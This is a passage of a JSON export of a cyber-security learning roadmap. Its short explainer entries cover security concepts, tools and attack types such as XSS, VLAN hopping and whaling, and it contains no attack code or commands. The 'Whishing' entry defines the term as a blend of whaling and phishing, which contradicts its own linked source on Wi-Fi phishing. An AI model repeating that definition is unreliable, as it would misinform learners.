    "path": "src/data/roadmaps/cyber-security/content/understand-cia-triad@uz6ELaLEu9U4fHVfnQiOa.md",
    "content": "# CIA Triad\n\nThe CIA Triad is a model designed to guide security policies within an organization. It consists of three fundamental principles: Confidentiality, Integrity, and Availability. Confidentiality ensures that sensitive information is protected from unauthorized access. Integrity guarantees that data is accurate and complete, preventing unauthorized modification. Availability ensures that authorized users have timely and reliable access to information and resources.\n\nVisit the following resources to learn more:\n\n- [@article@The CIA Triad](https://www.fortinet.com/resources/cyberglossary/cia-triad)\n- [@video@The CIA Triad - Professor Messer](https://www.youtube.com/watch?v=SBcDGb9l6yo)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-common-exploit-frameworks@Lg7mz4zeCToEzZBFxYuaU.md",
    "content": "# Common Exploit Frameworks\n\nExploit frameworks are collections of tools and resources designed to automate and simplify the process of finding and exploiting vulnerabilities in computer systems. They provide a structured environment for security professionals and penetration testers to develop, test, and execute exploits against target systems. These frameworks typically include features like vulnerability scanning, payload generation, exploit execution, and post-exploitation capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Metasploit Framework](https://www.metasploit.com/)\n- [@official@Core Impact](https://www.coresecurity.com/)\n- [@video@Metasploit for Beginners](https://www.youtube.com/watch?v=8lR27r8Y_ik)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-common-hacking-tools@rzY_QsvnC1shDTPQ-til0.md",
    "content": "# Common Hacking Tools\n\nThere's a wide range of tools, software, and techniques hackers use to exploit vulnerabilities in systems and networks. These tools range from simple network scanners that identify open ports to sophisticated exploit frameworks that automate the process of gaining unauthorized access. Knowing how these tools work, their capabilities, and the signatures they leave behind is essential for defenders to proactively identify, mitigate, and respond to cyber threats.\n\nVisit the following resources to learn more:\n\n- [@article@100 Top Hacking Tools and Ethical Hacking Tools](https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/best-ethical-hacking-tools/)\n- [@video@I Tried 100+ Hacking Tools](https://www.youtube.com/watch?v=4WqymtvuWZQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-concept-of-defense-in-depth@Rae-f9DHDZuwIwW6eRtKF.md",
    "content": "# Defense in Depth\n\nDefense in Depth is a layered security strategy where multiple security controls are strategically placed throughout an IT environment. This approach ensures that if one security mechanism fails or is bypassed, others are in place to prevent a successful attack. Think of it like an onion: you have to peel through many layers before you get to the core.\n\nVisit the following resources to learn more:\n\n- [@article@What is Defense in Depth?](https://www.fortinet.com/resources/cyberglossary/defense-in-depth)\n- [@video@Defense-in-Depth - CompTIA Security+](https://www.youtube.com/watch?v=HLQ4wX8NxQY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-concept-of-isolation@aDF7ZcOX9uR8l0W4aqhYn.md",
    "content": "# Isolation\n\nIsolation is a security principle focused on separating critical resources, processes, or data to prevent unauthorized access or modification. This separation limits the potential impact of a security breach, vulnerability, or error. By creating distinct boundaries, it ensures that if one component is compromised, the damage is contained and does not spread to other parts of the system.\n\nVisit the following resources to learn more:\n\n- [@article@The Power of Isolation in Cyber security](https://peel-cyber.co.uk/the-power-of-isolation-in-cyber-security/)\n- [@video@Bridging the Air Gap - Understanding Digital Isolation](https://www.youtube.com/watch?v=0rv2996e3S0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-concept-of-runbooks@Ec6EairjFJLCHc7b-1xxe.md",
    "content": "# Runbooks\n\nRunbooks are essentially detailed, step-by-step guides or checklists designed to help security teams and other IT professionals consistently and efficiently handle specific incidents, tasks, or procedures. They outline the actions needed to achieve a desired outcome, ensuring a standardized approach and reducing the likelihood of errors during time-sensitive situations like security breaches or system failures. These guides often include clear instructions, decision trees, scripts, and tools needed for effective response and resolution.\n\nVisit the following resources to learn more:\n\n- [@article@What is a runbook?](https://www.pagerduty.com/resources/learn/what-is-a-runbook/)\n- [@video@Create Automation Runbooks with AWS Systems Manager](https://www.youtube.com/watch?v=fQ_KahCPBeU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-handshakes@zQx_VUS1zRmF4zCGjJD5-.md",
    "content": "# Handshakes\n\nA handshake is a digital \"hello\" between two systems, like your computer and a website's server, establishing a secure communication channel. It's a process where both sides exchange information to agree on things like encryption methods and session keys. Think of it as a secret agreement before any real conversation happens, ensuring that the data exchanged afterward is protected from eavesdropping or tampering. It verifies identities and sets up a secure connection before any sensitive data is transmitted.\n\nVisit the following resources to learn more:\n\n- [@video@TLS Handshake Explained](https://www.youtube.com/watch?v=86cQJ0MMses)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-permissions@bTfL7cPOmBBFl-eHxUJI6.md",
    "content": "# Understanding Permissions\n\nPermissions dictate which users or groups have access to specific files, directories, or resources. These permissions define what actions users can perform, such as reading, writing, or executing files. They are a fundamental security mechanism for controlling access and preventing unauthorized modifications or access to sensitive data within a system.\n\nVisit the following resources to learn more:\n\n- [@article@Linux File Permissions (Linux Journey)](https://linuxjourney.com/lesson/file-permissions)\n- [@video@Linux Crash Course - Understanding File Permissions](https://www.youtube.com/watch?v=4N4Q576i3zA)\n- [@video@Managing Windows permissions with CLI (Icacls)](https://www.youtube.com/watch?v=ddtc2rgtgAI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-basics-and-general-flow-of-deploying-in-the-cloud@XL3FVeGFDhAl_gSol6Tjt.md",
    "content": "# Cloud Deployment Basics\n\nCloud deployment refers to the process of releasing and making an application or service available in a cloud computing environment. This involves configuring cloud resources, deploying code or application components, and setting up the necessary infrastructure for the application to run and be accessible to users. The general flow typically includes planning, resource provisioning, configuration, deployment, testing, and ongoing monitoring and management.\n\nVisit the following resources to learn more:\n\n- [@article@What is Cloud Deployment?](https://www.cognizant.com/us/en/glossary/cloud-deployment)\n- [@video@Deploying a Website to AWS in Under 1 Minute](https://www.youtube.com/watch?v=goiW0g7A0WE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-concept-of-infrastructure-as-code@RJctUpvlUJGAdwBNtDSXw.md",
    "content": "# Infrastructure as Code\n\nInfrastructure as Code (IaC) is the practice of managing and provisioning computing infrastructure through machine-readable definition files, rather than physical hardware configuration or interactive configuration tools. Think of it as writing code to define and deploy your servers, networks, and other infrastructure components in a consistent and repeatable manner. This approach enables version control, automation, and faster deployments compared to traditional manual processes.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@roadmap@Visit Dedicated AWS Roadmap](https://roadmap.sh/aws)\n- [@article@What is Infrastructure as Code? - IaC Explained - AWS](https://aws.amazon.com/what-is/iac/)\n- [@article@What is infrastructure as code (IaC)? - Azure DevOps](https://learn.microsoft.com/en-us/devops/deliver/what-is-infrastructure-as-code)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-concept-of-security-in-the-cloud@ThLsXkqLw--uddHz0spCH.md",
    "content": "# Cloud Security Concepts\n\nCloud security encompasses the policies, technologies, and controls used to protect data, applications, and infrastructure associated with cloud computing. It addresses the unique security challenges presented by shared resources, remote access, and the distributed nature of cloud environments. It aims to ensure the confidentiality, integrity, and availability of cloud-based assets.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Cloud Security? - Google Cloud](https://cloud.google.com/learn/what-is-cloud-security)\n- [@article@Cloud Security](https://www.checkpoint.com/cyber-hub/cloud-security/what-is-cloud-security/)\n- [@video@What is cloud security](https://www.youtube.com/watch?v=jI8IKpjiCSM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-concept-of-serverless@-83ltMEl3le3yD68OFnTM.md",
    "content": "# Serverless Computing\n\nServerless computing is a cloud execution model where the cloud provider dynamically manages the allocation of machine resources. Instead of provisioning and managing servers, developers write and deploy code that is executed in response to specific events, like HTTP requests or database updates. The cloud provider then automatically scales the resources needed to run the code, and users are charged only for the actual compute time consumed.\n\nVisit the following resources to learn more:\n\n- [@article@What is Serverless Computing?](https://www.cloudflare.com/en-gb/learning/serverless/what-is-serverless/)\n- [@video@What is serverless?](https://www.youtube.com/watch?v=vxJobGtqKVM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-definition-of-risk@ggAja18sBUUdCfVsT0vCv.md",
    "content": "# Understanding Risk in Cybersecurity\n\nRisk, at its core, stems from the interplay of three components: a threat, a vulnerability, and the potential impact. A _threat_ represents any actor or event with the potential to harm an asset. A _vulnerability_ is a weakness or gap in security controls that a threat can exploit. The _impact_ reflects the potential damage or loss that would occur if the threat successfully exploits the vulnerability. Analyzing these three aspects together allows us to quantify and manage risk effectively.\n\nVisit the following resources to learn more:\n\n- [@article@What is Cybersecurity Risk?](https://securityscorecard.com/blog/what-is-cybersecurity-risk-factors-to-consider/)\n- [@video@Risk Analysis - Know Your Threat Tolerance](https://www.youtube.com/watch?v=xt_Cdtvjbd4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-differences-between-cloud-and-on-premises@KGjYM4Onr5GQf1Yv9IabI.md",
    "content": "# Cloud vs. On-Premises\n\nCloud computing involves using shared computing resources, like servers and software, provided by a third-party over the internet. On-premises computing, on the other hand, involves managing your own computing infrastructure, including servers, networking, and software, physically located within your own facilities. The key difference lies in where the infrastructure resides and who is responsible for its management and maintenance.\n\nVisit the following resources to learn more:\n\n- [@article@What is On-Premises Data Centers vs. Cloud Computing?](https://www.hpe.com/uk/en/what-is/on-premises-vs-cloud.html)\n- [@video@On Premise vs Cloud : Is Cloud Computing the future?](https://www.youtube.com/watch?v=FuPh2o-GMDA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-the-osi-model@OXUd1UPPsBhNoUGLKZJGV.md",
    "content": "# OSI Model\n\nThe OSI (Open Systems Interconnection) model is a conceptual framework that standardizes the functions of a telecommunication or computing system into seven distinct layers. Each layer performs a specific set of network functions, and communicates with the layers above and below it. This model provides a structured way to understand how information travels from one application to another over a network.\n\nVisit the following resources to learn more:\n\n- [@article@What is OSI Model? - AWS](https://aws.amazon.com/what-is/osi-model/)\n- [@video@What is OSI Model?](https://www.youtube.com/watch?v=Ilk7UXzV_Qc)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/urlscan@lMiW2q-b72KUl-2S7M6Vb.md",
    "content": "# urlscan\n\n[urlscan.io](http://urlscan.io) is a free service used to analyze websites. When you submit a URL to [urlscan.io](http://urlscan.io), it browses the site in an automated fashion, much like a real user. During this process, [urlscan.io](http://urlscan.io) records the HTTP requests the site makes, screenshots of the page, and information about the technologies used. This data is then made available in a structured format, allowing users to identify potentially malicious or suspicious activities.\n\nVisit the following resources to learn more:\n\n- [@official@urlscan.io](https://urlscan.io/)\n- [@video@Cybersecurity Tool for Beginner Security Analysts - URLScan](https://www.youtube.com/watch?v=tA60bJstrQQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/urlvoid@lFt1k1Q-NlWWqyDA3gWD1.md",
    "content": "# UrlVoid\n\nUrlVoid is an online service that evaluates and analyzes websites to assess their safety and reputation. By checking a URL against various security databases and services, UrlVoid provides a summary of potential risks, such as malware, phishing, or blacklisting. This helps users identify and avoid potentially harmful or malicious websites.\n\nVisit the following resources to learn more:\n\n- [@official@UrlVoid](https://www.urlvoid.com/)\n- [@video@How to Check a Suspicious Web Link Without Clicking It](https://www.youtube.com/watch?v=C1D0tNnTDe4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/virtualbox@vGVFhZXYOZOy4qFpLLbxp.md",
    "content": "# VirtualBox\n\nVirtualBox is a free, open-source virtualization software developed by Oracle. It allows users to run multiple operating systems simultaneously on a single physical machine. VirtualBox supports a wide range of guest operating systems, including various versions of Windows, Linux, macOS, and more. It provides features like snapshots for easy system state preservation, shared folders for file exchange between host and guest systems, and USB device support. VirtualBox is popular among developers, IT professionals, and enthusiasts for testing software, running legacy applications, and experimenting with different operating systems without the need for separate physical hardware.\n\nVisit the following resources to learn more:\n\n- [@official@VirtualBox](https://www.virtualbox.org/)\n- [@official@VirtualBox Documentation](https://www.virtualbox.org/wiki/Documentation)\n- [@video@How to use VirtualBox](https://www.youtube.com/watch?v=nvdnQX9UkMY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/virustotal@rxzcAzHjzIc9lkWSw0fef.md",
    "content": "# VirusTotal\n\nVirusTotal is a service that analyzes files and URLs for malicious content. It uses a variety of antivirus engines, website scanners, and other tools to identify viruses, worms, trojans, and other kinds of malware. Users can submit suspicious files or URLs to VirusTotal, and the service will provide a detailed report of its analysis. This helps individuals and organizations determine whether a file or URL is safe before opening it.\n\nVisit the following resources to learn more:\n\n- [@official@VirusTotal](https://www.virustotal.com)\n- [@official@How VirusTotal Works](https://docs.virustotal.com/docs/how-it-works)\n- [@article@CISA's definition of VirusTotal](https://www.cisa.gov/resources-tools/services/virustotal)\n- [@video@Walkthrough VirusTotal Intelligence Interface](https://www.youtube.com/watch?v=WoHVM8pCfsQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vlan-hopping@u4hySof6if5hiONSaW-Uf.md",
    "content": "# VLAN Hopping\n\nVLAN hopping is a network attack where an attacker exploits vulnerabilities in the VLAN (Virtual Local Area Network) configuration to gain unauthorized access to traffic on different VLANs. By manipulating VLAN tagging, the attacker can \"hop\" from one VLAN to another, bypassing network segmentation. This can be achieved using methods like switch spoofing or double tagging, allowing the attacker to intercept, alter, or reroute traffic within a network that was supposed to be isolated.\n\nVisit the following resources to learn more:\n\n- [@article@What is VLAN Hopping?](https://www.packetlabs.net/posts/what-is-vlan-hopping/)\n- [@video@VLAN Hopping](https://www.youtube.com/watch?v=pDumMKDK4Wc)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vlan@d5Cv3EXf6OXW19yPJ4x6e.md",
    "content": "# VLAN\n\nA Virtual Local Area Network (VLAN) is a logical segmentation of a physical network, allowing multiple isolated networks to exist on the same physical infrastructure. VLANs group devices together based on function, department, or application, regardless of their physical location. They improve network performance by reducing broadcast traffic, enhance security by isolating sensitive systems, and provide flexibility in network design and management. VLANs are configured on network switches using IEEE 802.1Q standard, which adds tags to Ethernet frames to identify VLAN membership. This technology is crucial for efficient network administration in large enterprises, data centers, and complex network environments.\n\nVisit the following resources to learn more:\n\n- [@article@What is a VLAN?](https://www.solarwinds.com/resources/it-glossary/vlan)\n- [@video@VLAN Explained](https://www.youtube.com/watch?v=jC6MJTh9fRE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vm@251sxqoHggQ4sZ676iX5w.md",
    "content": "# Virtual Machines\n\nA virtual machine (VM) is essentially a software-defined computer that runs on top of a physical computer. It emulates the hardware of a physical machine, allowing you to run an operating system and applications within a simulated environment. This allows multiple operating systems to run concurrently on a single physical server, sharing its resources.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Virtual Machine and how does it work?](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-virtual-machine)\n- [@video@Virtualization Explained](https://www.youtube.com/watch?v=UBVVq-xz5i0)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vm@ZTC5bLWEIQcdmowc7sk_E.md",
    "content": "# VM\n\nA Virtual Machine (VM) is a software-based emulation of a physical computer. It runs an operating system and applications, isolated from the underlying hardware. VMs allow multiple \"guest\" operating systems to run on a single physical \"host\" machine, each with its own allocated virtual resources (CPU, memory, storage). This technology enables efficient hardware utilization, easier system administration, and improved security through isolation. VMs are widely used in cloud computing, software development, testing environments, and for running legacy applications. Hypervisors, such as VMware vSphere or Microsoft Hyper-V, manage the creation and operation of VMs on physical hardware.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Virtual Machine and how does it work?](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-virtual-machine)\n- [@video@Virtualization Explained](https://www.youtube.com/watch?v=UBVVq-xz5i0)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vmware@AjywuCZdBi9atGUbetlUL.md",
    "content": "# VMWare\n\nVMWare is a suite of virtualization software that allows you to run multiple operating systems on a single physical machine. This is achieved by creating virtual machines (VMs), which are essentially software-defined computers that emulate the hardware of a physical machine. Each VM can run its own operating system and applications, isolated from other VMs on the same physical host. VMWare offers different products for different needs, ranging from desktop virtualization to enterprise-level cloud computing.\n\nVisit the following resources to learn more:\n\n- [@official@VMWare](https://www.vmware.com/)\n- [@video@What is VMWare](https://www.youtube.com/watch?v=zPNCp9AV-vA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vpn@gTozEpxJeG1NTkVBHH-05.md",
    "content": "# Virtual Private Networks (VPNs)\n\nA Virtual Private Network (VPN) creates a secure, encrypted connection over a less secure network, like the internet. It essentially extends a private network across a public one, allowing users to send and receive data as if their devices were directly connected to the private network. This is achieved by routing the user's internet traffic through a VPN server, masking their IP address, and encrypting their data.\n\nVisit the following resources to learn more:\n\n- [@article@What is a VPN?](https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-vpn)\n- [@video@VPN (Virtual Private Network) Explained](https://www.youtube.com/watch?v=R-JUOpCgTZc)\n- [@video@Virtual Private Networks - Professor Messer](https://www.youtube.com/watch?v=YFyt8aY8PfI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/vulnhub@W94wY_otBuvVW_-EFlKA6.md",
    "content": "# VulnHub\n\nVulnHub is an online platform that provides a collection of intentionally vulnerable virtual machines for cybersecurity enthusiasts, penetration testers, and ethical hackers to practice their skills. These virtual machines simulate various real-world scenarios with different vulnerabilities and security misconfigurations. Users can download and run these VMs in their own environments, attempting to exploit vulnerabilities and gain root access. VulnHub offers a hands-on approach to learning about cybersecurity, allowing users to explore different attack vectors, practice exploitation techniques, and understand common security flaws in a safe, legal environment. It's a valuable resource for both beginners and experienced professionals to enhance their offensive security skills and prepare for certifications.\n\nVisit the following resources to learn more:\n\n- [@official@Vulnhub](https://www.vulnhub.com/)\n- [@article@A Beginners Guide to Vulnhub](https://medium.com/@gavinloughridge/a-beginners-guide-to-vulnhub-part-1-52b06466635d)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wadcoms@Rnpx7VkhrBkSQTni6UuTR.md",
    "content": "# WADCOMS\n\nWADcoms (Windows/Active Directory Commands) is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. Just select what information you currently have related to the Windows machine (passwords, usernames, services, etc.), and it will display a list of tools you can try against the machine, along with a template command for easy copy/pasting\n\nVisit the following resources to learn more:\n\n- [@opensource@WADComs/WADComs.github.io](https://wadcoms.github.io/)\n- [@article@WADComs: Windows/Active Directory Interactive Cheat Sheet](https://john-woodman.com/research/wadcoms/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wan@vCkTJMkDXcQmwsmeNUAX5.md",
    "content": "# WAN\n\nA Wide Area Network (WAN) connects multiple Local Area Networks (LANs) that are geographically separated. It uses various technologies like leased lines, satellite links, and the internet to enable communication between these disparate networks, allowing users and computers in one location to communicate with those in other locations. Think of it as a super-connector, enabling communication even when LANs are spread across cities, countries, or even continents.\n\nVisit the following resources to learn more:\n\n- [@article@What is a WAN?](https://www.cloudflare.com/en-gb/learning/network-layer/what-is-a-wan/)\n- [@video@WAN...it's not the internet!](https://www.youtube.com/watch?v=xPi4uZu4uF0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/watering-hole-attack@dcvuKHq0nHgHLcLwtl4IJ.md",
    "content": "# Watering Hole Attack\n\nWatering Hole Attack is a type of cyberattack where the attacker targets a specific group of users by compromising a website or online resource that they are known to frequently visit. The name \"watering hole\" comes from the idea of predators waiting by a water source to attack prey, similar to how attackers wait for their targets to visit a compromised site.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Watering Hole Attack?](https://www.techtarget.com/searchsecurity/definition/watering-hole-attack)\n- [@video@Watering Hole Attacks](https://www.youtube.com/watch?v=uBoVWqkfZjk)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/web-based-attacks-and-owasp10@fyOYVqiBqyKC4aqc6-y0q.md",
    "content": "# OWASP Top 10 and Web-Based Attacks\n\nThe OWASP Top 10 is a regularly updated list that highlights the most critical security risks facing web applications. These vulnerabilities are ranked based on exploitability, prevalence, detectability, and technical and business impact. Web-based attacks exploit these weaknesses to compromise applications, steal data, or disrupt services, often leveraging vulnerabilities in code, configuration, or design.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Top Ten](https://owasp.org/www-project-top-ten/)\n- [@video@OWASP Top Ten](https://youtube.com/playlist?list=PLyqga7AXMtPOguwtCCXGZUKvd2CDCmUgQ&si=ZYRbcDSRvqTOnDOo)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/whaling@KSwl6sX2W47vUmytpm8LH.md",
    "content": "# Whaling\n\nWhaling is a specific type of phishing attack that targets high-profile individuals within an organization, such as executives, CEOs, or other senior leaders. The term \"whaling\" is derived from the idea of hunting large \"whales,\" as opposed to the more common \"phishing,\" which targets a broader range of users. Whaling attacks are highly sophisticated and often involve personalized emails or communications that appear legitimate, making them difficult to detect.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Whaling Attack?](https://usa.kaspersky.com/resource-center/definitions/what-is-a-whaling-attack)\n- [@video@What is a whaling attack and how to stay protected](https://www.youtube.com/watch?v=jQONycdUOAA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/whishing@M65fCl72qlF0VTbGNT6du.md",
    "content": "# Whishing\n\nWhishing, a portmanteau of \"Whaling\" and \"Phishing,\" is a type of social engineering attack that specifically targets high-profile individuals within an organization, such as CEOs, CFOs, and other executives. Unlike regular phishing, which casts a wide net, whishing is highly targeted and aims to trick these individuals into divulging sensitive information or performing actions that benefit the attacker, like transferring money or revealing confidential business strategies. The attackers carefully research their targets to craft believable and persuasive messages, often impersonating someone the target knows or trusts.\n\nVisit the following resources to learn more:\n\n- [@article@Wi-fi Phishing Explained](https://it-explained.com/words/wi-fi-phishing-explained-explained)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/whois@-RnlvUltJ9IDtH0HEnMbN.md",
    "content": "# WHOIS\n\nWHOIS is a query and response protocol widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system number. These databases provide information like the registrant's contact details, creation and expiration dates, registrar information, and nameservers associated with the resource. While primarily used for technical and administrative purposes, WHOIS data can be valuable for identifying potential sources of abuse, tracking down malicious actors, or verifying the legitimacy of online resources.\n\nVisit the following resources to learn more:\n\n- [@article@How to use the whois command on Linux](https://www.howtogeek.com/680086/how-to-use-the-whois-command-on-linux/)\n- [@article@Whois lookup](https://www.whois.com/whois/)\n- [@video@Passive Reconnaissance - Whois Lookup Tutorial](https://www.youtube.com/watch?v=12MITs5KK40)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wifi@fUBNKHNPXbemRYrnzH3VT.md",
    "content": "# WiFi\n\nWiFi is a wireless networking technology that allows devices to connect to the internet and communicate with each other without physical cables. It uses radio waves to transmit data, typically operating on the 2.4 GHz and 5 GHz frequency bands. WiFi networks are created by wireless routers or access points and can be found in homes, offices, public spaces, and many other locations. The technology follows IEEE 802.11 standards, with newer versions (like WiFi 6 or 802.11ax) offering increased speeds, better performance in crowded areas, and improved energy efficiency. WiFi enables the proliferation of mobile and smart devices, supporting the Internet of Things (IoT) and allowing for greater flexibility and mobility in network connectivity.\n\nVisit the following resources to learn more:\n\n- [@article@Wireless Networks - Howstuffworks](https://computer.howstuffworks.com/wireless-network.htm)\n- [@video@That's How Wi-Fi Works](https://youtu.be/hePLDVbULZc)\n- [@video@Wireless Networking Explained](https://www.youtube.com/watch?v=Uz-RTurph3c)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/windows@BNUKEQ4YpZmIhSPQdkHgU.md",
    "content": "# Windows\n\nWindows is Microsoft's widely-used operating system for personal computers and servers. It provides a graphical user interface, multitasking capabilities, and supports a vast array of software applications and hardware devices. Windows offers features like file management, user account control, built-in security tools, and regular updates. It comes in various editions for different use cases, from home computing to enterprise environments. Windows integrates with Microsoft's cloud services and includes tools for productivity, gaming, and system management. Its widespread adoption makes it a primary target for both software developers and cybersecurity threats, necessitating regular security updates and patches.\n\nVisit the following resources to learn more:\n\n- [@official@Windows Security](https://learn.microsoft.com/en-us/windows/security/)\n- [@video@Windows 11 Full Tutorial - A 2 Hour Course to Learn and Master Windows 11](https://www.youtube.com/watch?v=UKn-r3X2CLk)\n- [@feed@Explore top posts about Windows](https://app.daily.dev/tags/windows?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/winhex@gNan93Mg9Ym2AF3Q2gqoi.md",
    "content": "# WinHex\n\nWinHex is a hexadecimal editor and disk analysis tool primarily used for data recovery, digital forensics, and low-level data processing. It allows users to inspect and edit all types of files, physical disks, and memory, making it invaluable for identifying file system anomalies, recovering deleted data, and analyzing system behavior. Its features include disk imaging, RAM editing, data interpretation, and scripting capabilities, which are often utilized by security professionals for incident investigation and threat hunting.\n\nVisit the following resources to learn more:\n\n- [@official@WinHex](https://x-ways.net/winhex/)\n- [@article@What is WinHex?](https://www.lenovo.com/in/en/glossary/winhex/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wireshark@Sm9bxKUElINHND8FdZ5f2.md",
    "content": "# Wireshark\n\nWireshark is a free and open-source packet analyzer. It captures network traffic in real-time and provides detailed information about the data being transmitted, including source and destination addresses, protocols used, and the data payload. This allows users to examine network activity at a granular level, making it a powerful tool for analyzing network behavior and identifying potential security issues.\n\nVisit the following resources to learn more:\n\n- [@official@Wireshark](https://www.wireshark.org/)\n- [@article@How to Use Wireshark: Comprehensive Tutorial + Tips](https://www.varonis.com/blog/how-to-use-wireshark)\n- [@video@How to use Wireshark](https://www.youtube.com/watch?v=zWoHJ3oGRGY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wlan@QCVYF1rmPsMVtklBNDNaB.md",
    "content": "# WLAN\n\nA Wireless Local Area Network (WLAN) is a type of computer network that uses wireless data connections to link devices within a limited area. WLANs typically use Wi-Fi technology, allowing devices like laptops, smartphones, and IoT devices to connect to the internet or communicate with each other without physical cable connections. WLANs operate on radio frequencies, usually in the 2.4 GHz or 5 GHz bands, and are set up using wireless routers or access points. They offer flexibility and mobility within the network's range, but require security measures like encryption (e.g., WPA3) to protect against unauthorized access and data interception.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Wireless LAN?](https://www.cisco.com/c/en/us/products/wireless/wireless-lan.html)\n- [@video@Wireless Networking Explained | Cisco CCNA 200-301](https://www.youtube.com/watch?v=Uz-RTurph3c)\n- [@video@Wireless Technologies](https://www.youtube.com/watch?v=_VwpcLiBkAQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wpa-vs-wpa2-vs-wpa3-vs-wep@MBnDE0VyVh2u2p-r90jVk.md",
    "content": "# WPA, WPA2, WPA3, and WEP\n\nThese terms represent different security protocols used to secure Wi-Fi networks. WEP (Wired Equivalent Privacy) was the original standard but has since been deemed insecure. WPA (Wi-Fi Protected Access) was introduced as an interim upgrade, followed by WPA2, which offered stronger encryption through AES. WPA3 is the latest standard, incorporating advanced features like Simultaneous Authentication of Equals (SAE) for improved password security and stronger encryption overall.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Wi-Fi Security? WEP, WPA, WPA2 & WPA3 Differences](https://nilesecure.com/network-security/what-is-wi-fi-security-wep-wpa-wpa2-wpa3-differences)\n- [@video@WiFi Security: What is WEP, WPA, and WPA2](https://www.youtube.com/watch?v=jErjdGfbgoE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/wps@HSCGbM2-aTnJWUX6jGaDP.md",
    "content": "# WPS\n\nWi-Fi Protected Setup (WPS) is a network security standard designed to make it easier to connect devices to a secure wireless network. It allows users to add devices to a Wi-Fi network using a simple setup process, typically involving pressing a WPS button on the router and the device or entering a PIN. While WPS simplifies the connection process, it has known security vulnerabilities, which can potentially be exploited to gain unauthorized access to the network.\n\nVisit the following resources to learn more:\n\n- [@article@WPS – What is it, and how does it work?](https://passwork.pro/blog/what-is-wps/)\n- [@article@Wi-Fi Protected Setup](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup)\n- [@video@What is WPS in WiFi](https://www.youtube.com/watch?v=pO1r4PWf2yg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/xss@2jo1r9O_rCnDwRv1_4Wo-.md",
    "content": "# Cross-Site Scripting (XSS)\n\nCross-Site Scripting (XSS) is a type of security vulnerability that occurs when a web application allows malicious scripts to be injected into the code, which is executed by other users' browsers. These scripts can steal session cookies, redirect the user to malicious websites, or deface the website, all while appearing to originate from the trusted website itself.\n\nVisit the following resources to learn more:\n\n- [@article@Cross Site Scripting (XSS) - OWASP](https://owasp.org/www-community/attacks/xss/)\n- [@article@Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [@video@Cross-site Scripting](https://www.youtube.com/watch?v=PKgw0CLZIhE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/zero-day@v9njgIxZyabJZ5iND3JGc.md",
